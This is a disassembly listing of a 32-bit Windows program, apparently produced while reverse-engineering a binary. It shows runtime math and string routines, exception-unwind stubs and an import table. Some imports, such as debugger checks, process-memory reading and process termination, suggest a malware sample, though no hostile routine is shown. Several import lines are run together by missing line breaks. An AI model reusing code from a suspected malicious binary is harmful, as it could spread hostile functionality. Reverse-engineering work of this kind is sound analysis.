loc_435EDE: ; CODE XREF: sub_435E9C+38j
mov eax, [edi]
mov ebx, edi
loc_435EE2: ; CODE XREF: sub_435E9C+5Bj
test eax, eax
jz short loc_435EF9
push eax
add ebx, 4
call sub_436200
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_435EE2
; ---------------------------------------------------------------------------
loc_435EF9: ; CODE XREF: sub_435E9C+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_435E9C endp
; =============== S U B R O U T I N E =======================================
sub_435F03 proc near ; CODE XREF: sub_434D29+68p
; sub_434D29+B9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
mov ecx, eax
and eax, 1Fh
sar ecx, 5
lea eax, [eax+eax*8]
mov esi, 8000h
mov ecx, dword_676EC0[ecx*4]
lea edx, [ecx+eax*4+4]
mov cl, [ecx+eax*4+4]
mov al, cl
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_435F39
and cl, 7Fh
jmp short loc_435F46
; ---------------------------------------------------------------------------
loc_435F39: ; CODE XREF: sub_435F03+2Fj
cmp [esp+4+arg_4], 4000h
jnz short loc_435F54
or cl, 80h
loc_435F46: ; CODE XREF: sub_435F03+34j
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_435F54: ; CODE XREF: sub_435F03+3Ej
call sub_42F049
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
pop esi
retn
sub_435F03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_435F64 proc near ; CODE XREF: sub_435782+165p
; sub_436184+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_436164
cmp cx, 7FFFh
jnb loc_436164
cmp dx, 0BFFDh
ja loc_436164
cmp dx, 3FBFh
ja short loc_435FCD
xor eax, eax
jmp short loc_436007
; ---------------------------------------------------------------------------
loc_435FCD: ; CODE XREF: sub_435F64+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_435FEF
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_435FEF
xor eax, eax
cmp [esi+4], eax
jnz short loc_435FF1
cmp [esi], eax
jnz short loc_435FF1
jmp loc_43615E
; ---------------------------------------------------------------------------
loc_435FEF: ; CODE XREF: sub_435F64+71j
; sub_435F64+79j
xor eax, eax
loc_435FF1: ; CODE XREF: sub_435F64+80j
; sub_435F64+84j
cmp cx, ax
jnz short loc_436014
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_436014
cmp [ebx+4], eax
jnz short loc_436014
cmp [ebx], eax
jnz short loc_436014
loc_436007: ; CODE XREF: sub_435F64+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_43617F
; ---------------------------------------------------------------------------
loc_436014: ; CODE XREF: sub_435F64+90j
; sub_435F64+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_436024: ; CODE XREF: sub_435F64+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_436078
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_436040: ; CODE XREF: sub_435F64+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_435110
add esp, 0Ch
test eax, eax
jz short loc_43606B
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_43606B: ; CODE XREF: sub_435F64+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_436040
loc_436078: ; CODE XREF: sub_435F64+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_436024
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_4360BB
loc_436096: ; CODE XREF: sub_435F64+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_4360B4
lea eax, [ebp+var_24]
push eax
call sub_43518F
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_436096
loc_4360B4: ; CODE XREF: sub_435F64+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_4360F4
loc_4360BB: ; CODE XREF: sub_435F64+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_4360F4
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_4360D4: ; CODE XREF: sub_435F64+184j
test byte ptr [ebp+var_24], 1
jz short loc_4360DD
inc [ebp+var_14]
loc_4360DD: ; CODE XREF: sub_435F64+174j
lea eax, [ebp+var_24]
push eax
call sub_4351BD
dec ebx
pop ecx
jnz short loc_4360D4
cmp [ebp+var_14], 0
jz short loc_4360F4
or byte ptr [ebp+var_24], 1
loc_4360F4: ; CODE XREF: sub_435F64+155j
; sub_435F64+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_43610B
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_436140
loc_43610B: ; CODE XREF: sub_435F64+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_43613D
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_436138
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_436132
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_436140
; ---------------------------------------------------------------------------
loc_436132: ; CODE XREF: sub_435F64+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_436140
; ---------------------------------------------------------------------------
loc_436138: ; CODE XREF: sub_435F64+1B5j
inc [ebp+var_20+2]
jmp short loc_436140
; ---------------------------------------------------------------------------
loc_43613D: ; CODE XREF: sub_435F64+1ABj
inc [ebp+var_24+2]
loc_436140: ; CODE XREF: sub_435F64+1A5j
; sub_435F64+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_436164
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_43615E: ; CODE XREF: sub_435F64+86j
mov [esi+0Ah], ax
jmp short loc_43617F
; ---------------------------------------------------------------------------
loc_436164: ; CODE XREF: sub_435F64+42j
; sub_435F64+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_43617F: ; CODE XREF: sub_435F64+ABj
; sub_435F64+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_435F64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436184 proc near ; CODE XREF: sub_4352B1+440p
; sub_435782+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_453D50
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_4361FD
jge short loc_4361AC
mov eax, [ebp+arg_4]
mov ebx, offset dword_453EB0
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_4361AC: ; CODE XREF: sub_436184+16j
cmp [ebp+arg_8], ecx
jnz short loc_4361B7
mov eax, [ebp+arg_0]
mov [eax], cx
loc_4361B7: ; CODE XREF: sub_436184+2Bj
cmp [ebp+arg_4], ecx
jz short loc_4361FD
push esi
push edi
loc_4361BE: ; CODE XREF: sub_436184+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_4361F6
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_4361E9
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_4361E9: ; CODE XREF: sub_436184+57j
push esi
push [ebp+arg_0]
call sub_435F64
pop ecx
pop ecx
xor ecx, ecx
loc_4361F6: ; CODE XREF: sub_436184+49j
cmp [ebp+arg_4], ecx
jnz short loc_4361BE
pop edi
pop esi
loc_4361FD: ; CODE XREF: sub_436184+14j
; sub_436184+36j
pop ebx
leave
retn
sub_436184 endp
; =============== S U B R O U T I N E =======================================
sub_436200 proc near ; CODE XREF: sub_427931+21p
; sub_435E9C+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_436227
push esi
call sub_4292D0
inc eax
push eax
call sub_4296E8
pop ecx
test eax, eax
pop ecx
jz short loc_436227
push esi
push eax
call sub_42A500
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_436227: ; CODE XREF: sub_436200+7j
; sub_436200+1Aj
xor eax, eax
pop esi
retn
sub_436200 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436230 proc near ; CODE XREF: sub_42ABFC+13p
; sub_42B457+23p
jmp dword_43722C
sub_436230 endp
; ---------------------------------------------------------------------------
align 4
push dword ptr [ebp-10h]
call sub_429006
pop ecx
retn
; ---------------------------------------------------------------------------
loc_436242: ; DATA XREF: sub_4154E4o
mov eax, offset dword_438120
jmp loc_42B4A6
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_436254: ; DATA XREF: sub_419797o
mov eax, offset dword_438144
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 10h
loc_436260: ; DATA XREF: ?9:0043816Co
lea ecx, [ebp-24h]
jmp sub_41B0D8
; ---------------------------------------------------------------------------
lea ecx, [ebp-34h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
and eax, 1
test eax, eax
jz locret_436286
mov ecx, [ebp+8]
jmp sub_4195C9
; ---------------------------------------------------------------------------
locret_436286: ; CODE XREF: ?9:00436278j
retn
; ---------------------------------------------------------------------------
loc_436287: ; DATA XREF: sub_41984Do
mov eax, offset dword_438178
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-1Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_43629C: ; DATA XREF: sub_419A4Bo
mov eax, offset dword_43819C
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-1Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_4362B0: ; DATA XREF: ?9:004381C4o
lea ecx, [ebp-3Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_4362B8: ; DATA XREF: ?9:004381CCo
lea ecx, [ebp-3Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_4362C0: ; DATA XREF: ?9:004381D4o
lea ecx, [ebp-5Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-4Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_4362D8: ; DATA XREF: ?9:004381ECo
lea ecx, [ebp-3Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-4Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_4362E8: ; DATA XREF: ?9:004381FCo
lea ecx, [ebp-3Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-4Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-5Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_436300: ; DATA XREF: ?9:00438214o
lea ecx, [ebp-3Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-4Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-5Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_436318: ; DATA XREF: ?9:0043822Co
lea ecx, [ebp-4Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-5Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_436328: ; DATA XREF: ?9:0043823Co
lea ecx, [ebp-4Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_436330: ; DATA XREF: ?9:00438244o
lea ecx, [ebp-2Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-5Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-5Ch]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_436348: ; DATA XREF: sub_419B88o
mov eax, offset dword_438258
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-1F4h]
jmp sub_41B0AD
; ---------------------------------------------------------------------------
loc_43635F: ; DATA XREF: ?9:00438280o
lea ecx, [ebp-30h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-0CCh]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-0ACh]
jmp sub_41B0AD
; ---------------------------------------------------------------------------
lea ecx, [ebp-0F0h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-44h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-0BCh]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-58h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-394h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-374h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-204h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-384h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-110h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-304h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-244h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-264h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-160h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-170h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-3A4h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-140h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-344h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-2C4h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-2E4h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E0h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-1A0h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-234h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-130h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-274h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-254h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-294h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-150h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-190h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-2D4h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-120h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-314h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-2F4h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-334h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-100h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
lea ecx, [ebp-180h]
jmp sub_4195C9
; ---------------------------------------------------------------------------
loc_436500: ; DATA XREF: ?9:loc_419FC5o
mov eax, offset dword_4383F4
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_41B352
; ---------------------------------------------------------------------------
loc_436514: ; DATA XREF: sub_41B12Fo
mov eax, offset dword_43848C
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-14h]
jmp sub_42B94B
; ---------------------------------------------------------------------------
loc_436528: ; DATA XREF: sub_41B189o
mov eax, offset dword_4384B0
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_42B94B
; ---------------------------------------------------------------------------
loc_43653C: ; DATA XREF: sub_41B213o
mov eax, offset dword_4384F0
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_42B94B
; ---------------------------------------------------------------------------
loc_436550: ; DATA XREF: sub_41B26Co
mov eax, offset dword_438514
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
mov ecx, [ebp-10h]
jmp sub_42B94B
; ---------------------------------------------------------------------------
loc_436564: ; DATA XREF: sub_41B2C4o
mov eax, offset dword_438538
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 10h
loc_436570: ; DATA XREF: sub_41B74Co
mov eax, offset dword_438588
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-1Ch]
jmp sub_42017F
; ---------------------------------------------------------------------------
loc_436584: ; DATA XREF: sub_41F7B0o
mov eax, offset dword_4385AC
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp-10h]
jmp loc_426C4D
; ---------------------------------------------------------------------------
loc_436598: ; DATA XREF: ?9:004385D4o
lea ecx, [ebp-20h]
jmp loc_426C4D
; ---------------------------------------------------------------------------
lea ecx, [ebp-2Ch]
jmp loc_426C4D
; ---------------------------------------------------------------------------
lea ecx, [ebp-28h]
jmp loc_426C4D
; ---------------------------------------------------------------------------
loc_4365B0: ; DATA XREF: sub_423BB1o
mov eax, offset dword_4385E8
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_41B352
; ---------------------------------------------------------------------------
loc_4365C4: ; DATA XREF: sub_429011o
mov eax, offset dword_438648
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_42B94B
; ---------------------------------------------------------------------------
loc_4365D8: ; DATA XREF: sub_42906Bo
mov eax, offset dword_438670
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp-20h]
jmp loc_41B352
; ---------------------------------------------------------------------------
loc_4365EC: ; DATA XREF: sub_4290F9o
mov eax, offset dword_438698
jmp loc_42B4A6
; ---------------------------------------------------------------------------
align 4
dd 282h dup(0)
dword_437000 dd 0 ; sub_424C9C+139r ...
dword_437004 dd 0 ; sub_424C9C+58r ...
dword_437008 dd 0 dword_43700C dd 0 dword_437010 dd 0 ; sub_424DE2+4Er
dword_437014 dd 0 dword_437018 dd 0 dword_43701C dd 0 dword_437020 dd 0 dword_437024 dd 0 dword_437028 dd 0 ; sub_424FC9+88r ...
align 10h
dword_437030 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_409EB3+20r ...
dword_437034 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_409EB3+Fr ...
dword_437038 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_4248BB+1Ar
dword_43703C dd 7C80992Fh ; resolved to->KERNEL32.LocalFree ; sub_42226C+95r ...
dword_437040 dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFile ; sub_402A0E+43r ...
dword_437044 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_4029DF+1Ar ...
dword_437048 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFile ; sub_402A0E+69r ...
dword_43704C dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_41E6F8+83r ...
dword_437050 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; sub_40A938+B9Er ...
dword_437054 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_423463+6Br
dword_437058 dd 7C8312E5h ; resolved to->KERNEL32.TransactNamedPipe ; sub_4066B3+125r ...
dword_43705C dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_405C6A+B8r ...
dword_437060 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_40A938+4C31r ...
dword_437064 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileA ; sub_4053EE+3D0r ...
dword_437068 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_4053EE+51Fr ...
dword_43706C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_4053EE+508r ...
dword_437070 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_40A708+24r ...
dword_437074 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_430CCF+20Dr ...
dword_437078 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_405C6A+2E7r ...
dword_43707C dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40A938+29EAr ...
dword_437080 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_437084 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_405C6A+613r ...
dword_437088 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_40797B+477r ...
dword_43708C dd 7C8217ACh ; resolved to->KERNEL32.CreateDirectoryA ; sub_40797B+275r
dword_437090 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_40A938+1B2Dr ...
dword_437094 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeAdword_437098 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_41BD3B+247r
dword_43709C dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameAdword_4370A0 dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresentdword_4370A4 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_40A938+A95r ...
dword_4370A8 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_427BB8+17r
dword_4370AC dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_42F84D+2Ar
dword_4370B0 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_4370B4 dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileAdword_4370B8 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingA ; sub_425156+A7r ...
dword_4370BC dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_418EDB+DBr ...
dword_4370C0 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_418EDB+D0r ...
dword_4370C4 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_4181F4+687r ...
dword_4370C8 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSection ; sub_42C104+28r ...
dword_4370CC dd 7C8024A7h ; resolved to->KERNEL32.ReleaseMutex ; sub_427CE1+89r
dword_4370D0 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4370D4 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExAdword_4370D8 dd 7C81F992h ; resolved to->KERNEL32.GlobalMemoryStatusExdword_4370DC dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatAdword_4370E0 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatAdword_4370E4 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_420399+3BAr
dword_4370E8 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; sub_41D3AF+2Fr ...
dword_4370EC dd 7C830D74h ; resolved to->KERNEL32.lstrcmpA ; sub_423BB1+3B7r ...
dword_4370F0 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcess ; sub_43475B+1B9r
dword_4370F4 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_4370F8 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_4370FC dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipedword_437100 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemorydword_437104 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_41EF29+82r ...
dword_437108 dd 7C8643B5h ; resolved to->KERNEL32.Module32Nextdword_43710C dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_41FD79+1A0r ...
dword_437110 dd 7C864230h ; resolved to->KERNEL32.Module32Firstdword_437114 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_437118 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_43711C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_437120 dd 7C8098EBh ; resolved to->KERNEL32.GetCurrentThread ; sub_41FF76+1Cr
dword_437124 dd 7C80998Dh ; resolved to->KERNEL32.LocalAllocdword_437128 dd 7C810111h ; resolved to->KERNEL32.lstrcpynAdword_43712C dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_437130 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_437134 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_437138 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_42A705+Dr
dword_43713C dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_437140 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_428046+107r
dword_437144 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_437148 dd 7C85B219h ; resolved to->KERNEL32.RemoveDirectoryAdword_43714C dd 7C812D9Fh ; resolved to->KERNEL32.TlsAllocdword_437150 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_42E41E+45r
dword_437154 dd 7C809EF1h ; resolved to->KERNEL32.InitializeCriticalSection ; sub_42DA1F+3Dr ...
dword_437158 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_43715C dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_431BB3+14Fr ...
dword_437160 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSection ; sub_42C156+28r ...
dword_437164 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40242A+206r ...
dword_437168 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_43716C dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_4051C0:loc_4052C6r ...
dword_437170 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_402646+1A7r ...
dword_437174 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiA ; sub_402CBA+27Fr ...
dword_437178 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_4032A3+1Fr ...
dword_43717C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_40242A+14Cr ...
dword_437180 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_40532D+16r ...
dword_437184 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401A77+2r ...
dword_437188 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_4181F4+62Er ...
dword_43718C dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_401B6E+2B5r ...
dword_437190 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_42CF38+51r ...
dword_437194 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_42D329+120r ...
dword_437198 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_43719C dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_435A15+261r
dword_4371A0 dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_435A15+B9r
